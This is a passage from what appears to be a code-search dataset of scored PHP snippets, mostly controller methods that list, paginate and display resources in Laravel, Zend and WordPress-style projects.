$menu_links_prefix\n + array_slice( $menu_links, 1, NULL, true );\n \n return $menu_links;\n }", "title": "" }, { "docid": "5d7692eb738b6d862b2e9c6ccdca5dc9", "score": "0.5528421", "text": "protected function renderBackButton() {}", "title": "" }, { "docid": "f096dd6ef6e4a7750028e79dfb0c8d9b", "score": "0.5526656", "text": "public function index()\n {\n $items = HistoryAlumni::all();\n\n return view('pages.history.index')->with([\n 'items' => $items \n ]);\n }", "title": "" }, { "docid": "512b871dd65a877de00141a413d09163", "score": "0.55246896", "text": "public function index()\n {\n\t\t/*\n\t\tif(!Auth::check()) { \t\n\t\t\treturn redirect()->to('/login');\n\t\t}\n\t\t*/\n return view('history');\n }", "title": "" }, { "docid": "6b23fc600599fe4d26886ffdfbe7df4b", "score": "0.5521519", "text": "function hotfix_menu( $p_event, $p_params ) {\n $project_id = helper_get_current_project();\n $p_option = 'p' . $project_id . '_hotfix_versions';\n if (plugin_config_get($p_option, '') != '') {\n\n \t\t// check if we are the currently selected menu item\n \t\tif ($_SERVER[\"REQUEST_URI\"] == plugin_page( 'hotfix_overview.php')) {\n \t\t\t$current_page = plugin_page( 'hotfix_overview.php');\n \t\t} else {\n \t\t\t$current_page = '';\n \t\t}\n \t\n \t\tlayout_sidebar_menu( plugin_page( 'hotfix_overview.php'), plugin_lang_get( 'sidebar_title' ), 'fa-fire-extinguisher', $current_page );\t\t\t\t\n }\n\t}", "title": "" }, { "docid": "744ba17ee613d64ed83016e917d85660", "score": "0.5520068", "text": "public function showBackEnd();", "title": "" }, { "docid": "f4279aa98372d27c010767cdeeb33e50", "score": "0.5515907", "text": "function darksnow_page_menu_args( $args ) {\n\t$args['show_home'] = true;\n\treturn $args;\n}", "title": "" }, { "docid": "633ac7512b68aaa13b1779099e7308cd", "score": "0.5514848", "text": "function Home()\n {\n $this->requestSessionInfo();\n\n // muestra solo 2\n $recent_artworks = $this->modelArtwork->GetFrontArtworks(2);\n $this->view->ShowHome($recent_artworks);\n }", "title": "" }, { "docid": "645c41e03bc9c5b4ec3404413d75d2e8", "score": "0.55145276", "text": "function init_menu() {\n if (func_num_args()>0) {\n $arg_list = func_get_args();\n }\n\n // menu entries\n module::set_menu($this->module, \"Notifiable Diseases\", \"LIBRARIES\", \"_notifiable\");\n\n // add more detail\n module::set_detail($this->description, $this->version, $this->author, $this->module);\n\n }", "title": "" }, { "docid": "502319eda1e97163f00421eb03ad2d25", "score": "0.55131996", "text": "public function index(){\r\n\r\n\t\t$this->masterpage->setMasterPage(get_option('template') );\r\n\r\n\t\t$data = array('logs'=> $this->logs_m->get_last_logs(100) );\r\n\r\n\t\t$this->masterpage->addContentPage('logs', 'contentmain', $data);\r\n\r\n\t\t$this->masterpage->show( );\r\n\t}", "title": "" }, { "docid": "1a2c2c1bda060162c5f98a40b43a12c9", "score": "0.550896", "text": "function menu() {\n\t\tadd_theme_page( __( 'Color Style Options', 'color-style-options' ), __( 'Color Style Options', 'color-style-options' ), 'edit_posts', __CLASS__, array( &$this, 'page' ) );\n\t}", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "c32c1fddc931fc7ca9847769f23de580", "score": "0.0", "text": "public function lists()\n {\n $posts = Post::latest()\n ->where('user_id', '=', auth()->user()->id)\n ->get();\n\n return view('posts.lists', compact('posts'));\n }", "title": "" } ]
[ { "docid": "a5f21f14f06e50e6c899fc50c1823371", "score": "0.748859", "text": "public function index()\n {\n return $this->listing();\n }", "title": "" }, { "docid": "496d5d54d7c7a7947e57216e38436eaa", "score": "0.7468274", "text": "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', []);\n $filter = $this->Request()->getParam('filter', []);\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "title": "" }, { "docid": "5aa4c5557a26f8808de23dbd0200fb1e", "score": "0.7446935", "text": "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "title": "" }, { "docid": "eca6104bc4f03f55970223ec5e260d62", "score": "0.7403906", "text": "public function index()\n {\n $per_page = !request()->filled('per_page') ? 10 : (int) request('per_page');\n $direction = request()->query('direction');\n $sortBy = request()->query('sortBy');\n\n $query = LaporanHarian::query();\n\n $lists = $query->orderBy($sortBy, $direction)->paginate($per_page);\n\n return new ListResources($lists);\n }", "title": "" }, { "docid": "3ec6f8ee193fb6eb0e96d6d5c89ac849", "score": "0.7346841", "text": "public function index()\n {\n $resources = $this->_resourceRepo->fetchResources();\n return view('travellers-inn.admin.resource.index', compact('resources'));\n }", "title": "" }, { "docid": "7573e843d1b7cfeddf14f70707821b32", "score": "0.7310731", "text": "public function actionList()\n\t{\n\t\t$this->renderPartial('list', array(), false, true);\n\t}", "title": "" }, { "docid": "cd35602f7c25a9b8e631ce80beb8ea4d", "score": "0.7295102", "text": "public function index()\n {\n $query = $this->resourceModel::query();\n\n $this->beforeIndex($query);\n\n $query->fieldsForMasterList();\n\n $this->viewData['resourceList'] = $this->afterIndex($query->get());\n\n return view(\n \"{$this->viewBaseDir}.{$this->viewFiles['index']}\",\n $this->viewData\n );\n }", "title": "" }, { "docid": "93cf9bf71a1973929a2edbc182c4df80", "score": "0.72826904", "text": "public function index()\n {\n $this->crud->hasAccessOrFail('list');\n\n $this->data['crud'] = $this->crud;\n $this->data['title'] = ucfirst($this->crud->entity_name_plural);\n\n // get all entries if AJAX is not enabled\n if (! $this->data['crud']->ajaxTable()) {\n $this->data['entries'] = $this->data['crud']->getEntries();\n }\n\n // load the view from /resources/views/vendor/backpack/crud/ if it exists, otherwise load the one in the package\n // $this->crud->getListView() returns 'list' by default, or 'list_ajax' if ajax was enabled\n return view('vendor.backpack.crud.list', $this->data);\n }", "title": "" }, { "docid": "813d60bea2fa858e658620b3d43f028b", "score": "0.72776103", "text": "public function index()\n {\n $fields = $this->parseFields();\n $filter = $this->parseFilters();\n $sort = $this->parseOrders();\n $paging = $this->parsePaging();\n $data = $this->listResources($fields, $filter, $sort, $paging);\n return self::getResponse()->setHeader(DefaultController::$defaultApiHeaders)->setResType('json')->setData($data)->send();\n }", "title": "" }, { "docid": "df01f7ff8d6a105850fbefd31e546f03", "score": "0.7190641", "text": "function list() {\n\n\t\t\tif($this->listJWT) $this->requireJWT();\n\n\t\t\t//Items to show, we can define the number of items via the show query param\n\t\t\t$show = $this->request->get('show', 100);\n\t\t\t$show = $show ?: 100;\n\n\t\t\t//Pages to show, we can define the page number via the page query param\n\t\t\t$page = $this->request->get('page', 1);\n\t\t\t$page = $page ?: 1;\n\n\t\t\t//Sorting defined via the sort query param\n\t\t\t$sort = $this->request->get('sort', 'asc');\n\t\t\t$sort = $sort ?: 'asc';\n\n\t\t\t//Sort by parameter defined via the by query param\n\t\t\t$by = $this->request->get('by', 'id');\n\t\t\t$by = $by ?: 'id';\n\n\t\t\t$args = [ 'show' => $show, 'page' => $page, 'sort' => $sort, 'by' => $by, 'args' => [] ];\n\n\t\t\t//Defines if we want to fetch metas or not\n\t\t\t$fetch_metas = $this->request->get('fetch_metas');\n\t\t\tif($fetch_metas) {\n\n\t\t\t\tif($fetch_metas != 1) $fetch_metas = explode(',', $fetch_metas);\n\t\t\t\t$args['args']['fetch_metas'] = $fetch_metas;\n\t\t\t}\n\n\t\t\t//Automagically add conditions based on get params\n\t\t\tforeach($_GET as $key => $value) {\n\n\t\t\t\tif(in_array($key, $this->plural::getTableFields())) {\n\t\t\t\t\t$args['conditions'][] = \"`{$key}` = '{$value}'\";\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t//Query Fields\n\t\t\t$query_fields = $this->request->get('query_fields');\n\t\t\tif($query_fields && is_string($query_fields)) $query_fields = explode(',', $query_fields);\n\t\t\tif($query_fields) $args['query_fields'] = $query_fields;\n\n\t\t\t//Fetch\n\t\t\tforeach($_GET as $key => $value) {\n\t\t\t\tif(preg_match('/fetch_(?<entity>.*)/', $key)) {\n\t\t\t\t\t$args['args'][$key] = $value;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Passing args via URL\n\t\t\tif($url_args = $this->request->get('args')) {\n\n\t\t\t\t$args = array_merge($args, $url_args);\n\t\t\t}\n\n\t\t\t// Specifically passing PDO Args\n\t\t\tif($pdo = $this->request->get('pdo')) {\n\n\t\t\t\t$args['args'] = array_merge($args['args'], $pdo);\n\t\t\t}\n\n\t\t\t//$args['debug'] = 1;\n\n\t\t\t// Conditions Filter\n\t\t\t$args['conditions'] = $this->filterListConditions(get_item($args, 'conditions', []));\n\n\t\t\tif(is_array($args['conditions'])) {\n\t\t\t\t$args['conditions'] = array_filter($args['conditions']);\n\t\t\t}\n\n\t\t\t$items = $this->plural::all($args);\n\t\t\t$this->data = $items;\n\n\t\t\t$count = $this->plural::count($args['conditions'] ?? []);\n\t\t\t$pages = ceil($count / $show);\n\n\t\t\t$this->properties['current_page'] = (int) $page;\n\t\t\t$this->properties['per_page'] = (int) $show;\n\t\t\t$this->properties['last_page'] = (int) $pages;\n\t\t\t$this->properties['count'] = (int) $count;\n\t\t\t$this->properties['sort'] = $sort;\n\t\t\t$this->properties['by'] = $by;\n\t\t\t$this->properties['total'] = (int) $pages;\n\n\t\t\tif(count($items)) {\n\n\t\t\t\t$this->result = 'success';\n\t\t\t}\n\n\t\t\t$this->respond();\n\t\t}", "title": "" }, { "docid": "6dbec524e0edfa12a7b39fd3954be29e", "score": "0.7157161", "text": "public function index()\n {\n $resources = Resource::paginate(15);\n \n return view('resource.index', compact('resources'));\n }", "title": "" }, { "docid": "3a75e00cbfe822ce4067afcff2f6a3d8", "score": "0.71310157", "text": "public function index()\n {\n return $this->listResponse($this->model->all());\n }", "title": "" }, { "docid": "f7a87ae6c993ad3c3f6ec9da2248552a", "score": "0.71200645", "text": "public function listAction()\n {\n if (Config::get('error')) {\n return false;\n }\n $this->_template = 'ItemsList';\n Route::factory()->setAction('list');\n // Filter parameters to array if need\n Filter::setFilterParameters();\n // Set filter elements sortable\n Filter::setSortElements();\n // Check for existance\n $group = Model::getRow(Route::param('alias'), 'alias', 1);\n if (!$group) {\n return Config::error();\n }\n // Seo\n $this->setSeoForGroup($group);\n // Add plus one to views\n Model::addView($group);\n // Get items list\n $result = Filter::getFilteredItemsList($this->limit, $this->offset, $this->sort, $this->type);\n // Generate pagination\n $pager = Pager::factory($this->page, $result['total'], $this->limit)->create();\n // Render page\n $this->_content = View::tpl(['result' => $result['items'], 'pager' => $pager], 'Catalog/ItemsList');\n }", "title": "" }, { "docid": "bf1bc30233a225c042addf1175ede637", "score": "0.71117574", "text": "public function list()\n\t\t{\n\n\t\t}", "title": "" }, { "docid": "4b74341b17d61539d4d1fc0aa8693955", "score": "0.70722556", "text": "public function index()\n {\n $resources = Resource::orderBy('description')->get();\n return view('resources.index', compact('resources'));\n }", "title": "" }, { "docid": "7e6f0d9f30924279b300346ae37d90a7", "score": "0.7063389", "text": "public function index()\n {\n $resources = Table_resources::all();\n return view(\"admin.resource.list\",['resources'=>$resources]);\n }", "title": "" }, { "docid": "05a3a1abee5cdb637e4ecb2bed78f793", "score": "0.7044714", "text": "public function index() {\n ${$this->resources} = $this->model->orderBy('created_at', 'DESC')\n ->paginate(Variables::get('items_per_page'));\n\n return view($this->view_path . '.index', compact($this->resources));\n }", "title": "" }, { "docid": "d755a2c0bd42a2f83eb1df7236545733", "score": "0.7039909", "text": "public function index()\n {\n $request = app(Request::class);\n $listbuilder = app(ListBuilder::class);\n $args = $request->route()->parameters();\n\n $slug = (empty($this->slug)) ? substr($request->getPathInfo(), 1) : $this->slug;\n $list_slug = (empty($this->list_slug)) ? $slug : $this->list_slug;\n\n $collection = $this->getListQuery($request, $args);\n $total = $collection->total();\n $list_data = $this->getListData($request, $args);\n $list_class = $this->getListClass();\n\n $list = $listbuilder->build($list_class, $collection, [\n 'show_action' => false,\n 'slug' => $list_slug,\n 'data' => $list_data,\n ]);\n $filter = $this->list_filter;\n $show_add = $this->show_add;\n\n $heading = $this->getIndexBreadcrumb($request, $args, $total);\n $object_name = $this->object_name;\n\n if($request->ajax()) {\n return view($this->list_view, compact('list', 'heading', 'filter', 'show_add', 'args', 'object_name', 'total', 'request', 'list_data'));\n } else {\n $layout = $this->layout;\n $section = $this->section;\n $view = $this->list_view;\n return view('cms-package::default-resources.layout-extender', compact('list', 'heading', 'filter', 'show_add', 'args', 'object_name', 'layout', 'section', 'view', 'total', 'request', 'list_data'));\n }\n }", "title": "" }, { "docid": "fb3f72e030e93427b7b0611e0dd87596", "score": "0.70328826", "text": "public function actionRestList()\n {\n $this->doRestList();\n }", "title": "" }, { "docid": "0efbc638dffdcac13f3ee9915260ba01", "score": "0.70086366", "text": "public function actionIndex() {\n $items = $this->getItems();\n self::ret($items);\n }", "title": "" }, { "docid": "349599c7292a71cd03fc4c4ffdd1f19b", "score": "0.7004859", "text": "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_personModel->getPersons();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "title": "" }, { "docid": "5caa574ebf95b5ac2455613f57b23c8e", "score": "0.7001385", "text": "public function listAction(){\n\t\t$view = Zend_Registry::get('view');\n\t\t$table = new Aluno();\n\t\t$table->getCollection();\n\t\t$this->_response->setBody($view->render('default.phtml'));\n\t}", "title": "" }, { "docid": "ca1a292f025cf9b2b20d1b3eacf7ae21", "score": "0.6937133", "text": "public function index()\n {\n $this->pageTitle = 'Resources';\n $this->pageIcon = 'ti-folder';\n $this->icons = $this->icons();\n $this->resources = Resource::paginate(15);\n $this->trashCount = Resource::onlyTrashed()->count();\n\n return view('resource::member.index', $this->data);\n }", "title": "" }, { "docid": "b68550d3783cf092706159aad39af9a4", "score": "0.69189066", "text": "public function indexAction()\n {\n $request = $this->getRequest();\n $recordType = $request->getParam('api_record_type');\n $resource = $request->getParam('api_resource');\n $page = $request->getQuery('page', 1);\n\n $this->_validateRecordType($recordType);\n\n // Determine the results per page.\n $perPageMax = (int) get_option('api_per_page');\n $perPageUser = (int) $request->getQuery('per_page');\n $perPage = ($perPageUser < $perPageMax && $perPageUser > 0) ? $perPageUser : $perPageMax;\n\n // Get the records and the result count.\n $recordsTable = $this->_helper->db->getTable($recordType);\n $totalResults = $recordsTable->count($_GET);\n $records = $recordsTable->findBy($_GET, $perPage, $page);\n\n // Set the non-standard Omeka-Total-Results header.\n $this->getResponse()->setHeader('Omeka-Total-Results', $totalResults);\n\n // Set the Link header for pagination.\n $this->_setLinkHeader($perPage, $page, $totalResults, $resource);\n\n // Build the data array.\n $data = array();\n $recordAdapter = $this->_getRecordAdapter($recordType);\n foreach ($records as $record) {\n $data[] = $this->_getRepresentation($recordAdapter, $record, $resource);\n }\n\n $this->_helper->jsonApi($data);\n }", "title": "" }, { "docid": "1c09e7c92f1c21d273b8b885cd8bfa5f", "score": "0.6918077", "text": "public function listing()\n\t{\n\t\t/* Get request variables */\n\t\t$category = Request::getString('category', null);\n\t\t$sort = Request::getString('sort', BluApplication::getSetting('listingSort', 'date'));\n\t\t$page = Request::getInt('page', 1);\n\n\t\t/* Get parameters. */\n\t\t$total = true;\n\t\t$limit = BluApplication::getSetting('listingLength', 9);\n\t\tswitch($sort){\n\t\t\tcase 'owner':\n\t\t\t\t$function = 'Owned';\n\t\t\t\tbreak;\n\n\t\t\tcase 'title':\n\t\t\t\t$function = 'Alphabetical';\n\t\t\t\tbreak;\n\n\t\t\tcase 'comments':\n\t\t\t\t$function = 'MostCommented';\n\t\t\t\tbreak;\n\n\t\t\tcase 'votes':\n\t\t\t\t$function = 'MostVoted';\n\t\t\t\tbreak;\n\n\t\t\tcase 'views':\n\t\t\t\t$function = 'MostViewed';\n\t\t\t\tbreak;\n\n\t\t\tcase 'date':\n\t\t\tdefault:\n\t\t\t\t$sort = 'date';\n\t\t\t\t$function = 'Latest';\n\t\t\t\tbreak;\n\t\t}\n\n\t\t/* Get data. */\n\t\t$itemsModel = $this->getModel('items')->set('category', $category);\n\t\t$items = $itemsModel->{'get'.$function}($this->_itemtype, ($page - 1) * $limit, $limit, $total);\n\n\t\t/* Prepare pagination */\n\t\t$pagination = Pagination::simple(array(\n\t\t\t'limit' => $limit,\n\t\t\t'total' => $total,\n\t\t\t'current' => $page,\n\t\t\t'url' => '?sort=' . urlencode($sort) . '&amp;category=' . urlencode($category) . '&amp;page='\n\t\t));\n\n\t\t/* Load template */\n\t\tinclude($this->listing_template());\n\t}", "title": "" }, { "docid": "a39f80fe6fb15777c044c4596b95aefd", "score": "0.68882495", "text": "public function index()\n {\n\t\t\t\t$Items = Resource::whereStatus(\"ACTIVE\")->get()->toArray();\n\t\t\t\t$Actions = Action::all()->toArray();\n return view('resource.index',compact(\"Items\",\"Actions\"));\n }", "title": "" }, { "docid": "4342e58d9a88e2330015685845c6b214", "score": "0.68863964", "text": "public function index()\n {\n //get all resource categories, order by name\n $categories = ResourceCategoryFacade::with('resources')->orderBy('name');\n\n PageFacade::mimic([\n 'title' => 'Resources'\n ]);\n\n return view('pilot::frontend.resources.index', compact('categories'));\n }", "title": "" }, { "docid": "e62c3e28d314d6ca7e07a98c0154e01f", "score": "0.68825537", "text": "public function index()\n {\n // get articles\n $articles= Api::paginate(10);\n\n //return collection of articles of a resource\n return ApiResource::collection($articles);\n }", "title": "" }, { "docid": "f1d6678e9ee6cd0e2aba29cc6d3a57e6", "score": "0.68781596", "text": "public function listingAction()\r\n {\r\n $oZendDbSelect = new Zend_Db_Select(Zend_Db_Table::getDefaultAdapter());\r\n $oSelect = $oZendDbSelect->from('View_Rrubrique_Listing')->order('r_rub_id asc');\r\n\r\n // Search engine on the query\r\n $oMySearchEngine = new My_Search_Engine($oSelect);\r\n $oMySearchEngine->findWordOn(array('r_rub_libelle' => array('operator' => 'like')));\r\n $oMySearchEngine->findByFields(array(\r\n 'r_rub_id' => array('operator' => 'eql'),\r\n 'actif' => array('operator' => 'eql'),\r\n 'r_rub_libelle' => array('operator' => 'like'),\r\n 'r_tva_type_id' => array('operator' => 'eql'),\r\n 'r_rub_type_id' => array('operator' => 'eql')\r\n ));\r\n $oMySearchEngine->makeOrderBy();\r\n\r\n // Downloading the filtered list in CSV\r\n if ($this->_helper->ContextSwitch()->getCurrentContext() == 'csv') {//context csv\r\n $oAdapterExport = new My_Data_Export_Source_Adapter_Select($oMySearchEngine->getSelect());\r\n $oExport = new My_Data_Export_CSV($oAdapterExport);\r\n $this->view->csv = $oExport->make();\r\n $this->view->filename = Phoenix_Data_Export_Csv::buildFileName();\r\n } // Viewing the filtered list in HTML\r\n else {\r\n // Declaration of the Paginator Adapter\r\n $oAdapter = new Zend_Paginator_Adapter_DbSelect($oMySearchEngine->getSelect());\r\n // Pagination management\r\n $oPaginator = new My_Paginator($oAdapter);\r\n $oPaginator->setCurrentPageNumber($this->_getParam('page'));\r\n $oPaginator->setItemCountPerPage(15);\r\n $this->view->paginator = $oPaginator;\r\n }\r\n }", "title": "" }, { "docid": "c04f0a07b4332dc7490328fd75b7859d", "score": "0.6874425", "text": "public function index()\n {\n // Set Pagination options\n $options = array(\n 'total_items' => {module}::count(),\n 'items_per_page' => 10,\n );\n\n $pagination = Pagination::create($options);\n\n // Get from Model\n $lists = {module}::orderBy('created_at', 'desc')\n ->take(Pagination::limit())\n ->skip(Pagination::offset())\n ->get();\n\n $this->template->title('{module} Index')\n ->set('lists', $lists)\n ->set('pagination', $pagination)\n ->view('index');\n }", "title": "" }, { "docid": "934002dc44d9e88dec4d87456bacf202", "score": "0.68599224", "text": "public function index()\n {\n //Get Cars\n $cars = Car::paginate(15);\n\n // Return Collection of cars\n return CarResource::collection($cars);\n }", "title": "" }, { "docid": "9ba180ed65da59bf2b9a95f1c09cb0ef", "score": "0.68457514", "text": "public function listAction() {\n\t\t$flexSliders = $this->flexSliderRepository->findAll();\n\n\t\t$tplObj = array(\n\t\t\t'configuration' => EmConfiguration::getConfiguration(),\n\t\t\t'data' => $this->contentObject->data,\n\t\t\t'altUid' => uniqid('alt'),\n\t\t\t'flexSliders' => $flexSliders\n\t\t);\n\t\t$this->view->assignMultiple($tplObj);\n\t}", "title": "" }, { "docid": "4b10c5eaaff873799c32bd4500119f37", "score": "0.68380994", "text": "public function index()\n {\n $inventories = Inventory::paginate();\n\n return InventoryResource::collection($inventories);\n }", "title": "" }, { "docid": "3a4c68e643acd61065e40f913519f57a", "score": "0.68314296", "text": "public function index()\n {\n $request = $this->app->request();\n $filter = Filter::fromRequest($request);\n\n $result = $this->profiles->getAll($filter);\n\n $paging = array(\n 'total_pages' => $result['totalPages'],\n 'page' => $result['page'],\n 'sort' => 'asc',\n 'direction' => $result['direction']\n );\n\n $this->_template = 'waterfall/list.twig';\n $this->set(array(\n 'runs' => $result['results'],\n 'search' => $filter->toArray(),\n 'paging' => $paging,\n 'base_url' => 'waterfall.list',\n 'show_handler_select' => true,\n ));\n }", "title": "" }, { "docid": "874f996d6d98ea380f469ff6759de504", "score": "0.6829909", "text": "public function actionList(){\r\n\t\t$contacts = Contacts::find();\t\t\r\n\t\t\r\n\t\trender('list',array(\r\n\t\t\t'title'\t\t\t=> 'Showing all Contacts on database',\r\n\t\t\t'contacts'\t=> $contacts\t\t\r\n\t\t));\t\t\r\n\t}", "title": "" }, { "docid": "e0e7982de8f7a8c918aef7f3a34c9a7d", "score": "0.6822929", "text": "public function index()\n {\n return TierlistResource::collection(Tierlist::newly()->paginate());\n }", "title": "" }, { "docid": "e662e21bf83b7498445e86cb8e8d5a50", "score": "0.68194026", "text": "public function index()\n {\n // To make sure that we only show records of current user\n $query = $this->getModel();\n\n // Allow to filter results in query string\n $query = $this->applyQueryStringFilter($query);\n\n // If this controller is sortable\n if ($this->getOlutOptions('sortable') === true) {\n $query = $query->orderBy('order');\n }\n\n // Eager loading\n if ($prefetch = $this->getOlutOptions('prefetch')) {\n $query = $query->with($prefetch);\n }\n\n $query = $this->oulutCustomIndexQuery($query);\n\n // Pagination please\n $perPage = (int) Input::get('perPage', Config::get('view.perPage'));\n $perPage = $perPage < 0 ? 0 : $perPage;\n $items = $query->paginate($perPage);\n\n return $this->renderList($items);\n }", "title": "" }, { "docid": "26f44273688d9b90c69abab35c8e4854", "score": "0.6802107", "text": "public function index()\n {\n // $this->authorize('isAdmin');\n return ItemResource::collection(Item::latest()->get());\n }", "title": "" }, { "docid": "24c960a369d6f3101a5432770f2cc5c4", "score": "0.6795378", "text": "public function listAction(){\n $this->view->role = Auth_Info::getUser()->user_type;\n Log::infoLog('method='.__FUNCTION__.';user_id='.Auth_Info::getUser()->user_id.';control_number'.';Start action');\n \n if($this->getRequest()->isGet()&&!isset($this->_input->page)){\n $this->session->removeData(self::SESSION_KEY_SEARCH);\n }\n $this->session->removeData(self::SESSION_KEY_PAGE);\n $this->session->removeData(self::SESSION_KEY_RETURN_DETAIL);\n $page = null;\n if ($this->getRequest()->isPost()) {\n $where = $this->_input->getEscaped();\n\n } else {\n $where = $this->session->getData(self::SESSION_KEY_SEARCH);\n if (is_null($where)) {\n $where = array();\n }\n $page = isset($this->_input->page) ? $this->_input->page : $this->session->getData(self::SESSION_KEY_PAGE);\n }\n $this->getRequest()->setParams($where);\n $this->session->setModuleScope(self::SESSION_KEY_SEARCH, $where);\n $this->session->setModuleScope(self::SESSION_KEY_PAGE, $page);\n\n $select = MFaqs::getInstance()->getListSelectEU($where);\n $this->view->max_display_char = Zynas_Registry::getConfig()->constants->max_display_char;\n $this->view->paginator = Zynas_Paginator::factoryWithOptions($select, $page, $this->view);\n Log::infoLog('method='.__FUNCTION__.';user_id='.Auth_Info::getUser()->user_id.';control_number'.';End action');\n }", "title": "" }, { "docid": "2bf2ec527100629f6d7d50c50d603001", "score": "0.6783082", "text": "function list() {\n /* fetches all entries in table student for listing.\n * ---------------------------------------------- */\n Debug::echo(\"GET /api/student/list\");\n \n $listAll = new ListAll();\n $listAll->main(); \n }", "title": "" }, { "docid": "ae6ac1129584c76c474a8718bca91c33", "score": "0.6780087", "text": "public function ListView() {\n $this->Render();\n }", "title": "" }, { "docid": "40e0ec86808c42433eec790a68931477", "score": "0.6770408", "text": "public function indexAction() {\n\t\t$this->view->assign('resources', $this->modelReflectionService->getResources());\n\t\t$this->view->assign('routes', $this->getRoutes());\n\t}", "title": "" }, { "docid": "c972e2ad36aea9593c2ac76cbc11b8bf", "score": "0.6767648", "text": "public function index()\n {\n return Restful::collection($this->getRepository()->all());\n }", "title": "" }, { "docid": "a611acae3e681926a6968198c5dab110", "score": "0.6765221", "text": "public function index()\n {\n $list = view('site.client.listing')->render();\n return $list;\n }", "title": "" }, { "docid": "602ed8dee2e015ea55511aa59ba3ed40", "score": "0.6761819", "text": "public function showList()\n {\n return view();\n }", "title": "" }, { "docid": "902d092c31e6544c2b9cf0edfb02ea3a", "score": "0.6750531", "text": "public function index()\n {\n return view('admin.listing.index')->withListings(Listing::all());\n }", "title": "" }, { "docid": "8eef2b9b847b9c58a5cfb5d664f2e780", "score": "0.6748404", "text": "public function listAction() {\n\t\tif ($this->request->hasArgument('selectedCategories')) {\n\t\t\t$selectedCategories = $this->request->getArgument('selectedCategories');\n\t\t\t$this->view->assign('objects', $this->exampleRepository->findByCategories($selectedCategories));\n\t\t\t$this->view->assign('selectedCategories', $this->categoriesRepository->findSelectedCategories($selectedCategories));\n\t\t} else {\n\t\t\t$this->view->assign('objects', $this->exampleRepository->findAll());\n\t\t}\n\t\t$this->view->assign('arguments', $this->request->getArguments());\n\t}", "title": "" }, { "docid": "21b5c64ea30098dcc23c030c81b33431", "score": "0.6747242", "text": "public function index()\n {\n //\n\n if (Auth::user()->hasRole('Admin')) {\n $resources = MyResource::latest()->paginate(5);\n } else {\n $resources = MyResource::where('user_id', Auth::user()->id)->latest()->paginate(5);\n }\n\n return view('resources.index', compact('resources'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n }", "title": "" }, { "docid": "04105211a75ba7457c72346a442bef90", "score": "0.6742193", "text": "function Index()\n\t\t{\n\t\t\t$this->DefaultParameters();\n\t\t\t\r\n\t\t\t$parameters = array('num_rows');\r\n\t\t\t$this->data[$this->name] = $this->controller_model->ListItemsPaged($this->request->get, '', $parameters);\r\n\t\t\t$this->data['num_rows'] = $parameters['num_rows'];\n\t\t}", "title": "" }, { "docid": "b6c185d0aed440370b1e22ff2d401da5", "score": "0.6724648", "text": "public function index()\n {\n $this->load->library('pagination');\n\n $count = $this->model->listingCount($this->listing_config);\n\n $returns = $this->paginationCompress( $this->config['page'].\"/\", $count, 15 );\n\n $data['objects'] = $this->model->listing($returns[\"per_page\"], $returns[\"segment\"],$this->listing_config);\n $data['pageVar'] = $this->config;\n $data['columns'] = $this->listing;\n $data['config'] = $this->listing_config;\n\n $this->global['pageTitle'] = $this->config['pageName'] ;\n\n $this->loadViews(\"admin/CRUD_R\", $this->global, $data, NULL);\n }", "title": "" }, { "docid": "ce95675bc5d2c976a855abe40a22da29", "score": "0.67158294", "text": "public function index()\n {\n // Get Books\n $books = Books::orderBy('created_at', 'desc') ->paginate(5);\n\n // Return collection of books as a resource\n return BooksResource::collection($books);\n }", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "afcbd1f71b8bf87347a3fa60719ba0be", "score": "0.67056316", "text": "public function index() {\n\t\t$datas = DAO::getAll ( $this->model );\n\t\techo $this->_getResponseFormatter ()->get ( $datas );\n\t}", "title": "" }, { "docid": "4bc4ef9abd1fba68e2b86b542b49eca2", "score": "0.67025477", "text": "public function listAction() {\n\t\t// Preload info\n\t\t$this->view->viewer = $viewer = Engine_Api::_ ()->user ()->getViewer ();\n\t\t$this->view->owner = $owner = Engine_Api::_ ()->getItem ( 'user', $this->_getParam ( 'user_id' ) );\n\t\tEngine_Api::_ ()->core ()->setSubject ( $owner );\n\n\t\tif (! $this->_helper->requireSubject ()->isValid ()) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Search Params\n\t\t$form = new Ynblog_Form_Search ();\n\t\t$form->isValid ( $this->_getAllParams () );\n\t\t$params = $form->getValues ();\n\t\t$params ['date'] = $this->_getParam ( 'date' );\n\t\t$this->view->formValues = $params;\n\n\t\t$params ['user_id'] = $owner->getIdentity ();\n\t\t$params ['draft'] = 0;\n\t\t$params ['is_approved'] = 1;\n\t\t$params ['visible'] = 1;\n\n\t\t// Get paginator\n\t\t$this->view->paginator = $paginator = Engine_Api::_ ()->ynblog ()->getBlogsPaginator ( $params );\n\t\t$items_per_page = Engine_Api::_ ()->getApi ( 'settings', 'core' )->getSetting ( 'ynblog.page', 10 );\n\t\t$paginator->setItemCountPerPage ( $items_per_page );\n\t\tif (isset ( $params ['page'] )) {\n\t\t\t$this->view->paginator = $paginator->setCurrentPageNumber ( $params ['page'] );\n\t\t}\n\t\t// Render\n\t\t$this->_helper->content->setEnabled ();\n\t}", "title": "" }, { "docid": "c2e0dc884bf03158662e5bf33ae92498", "score": 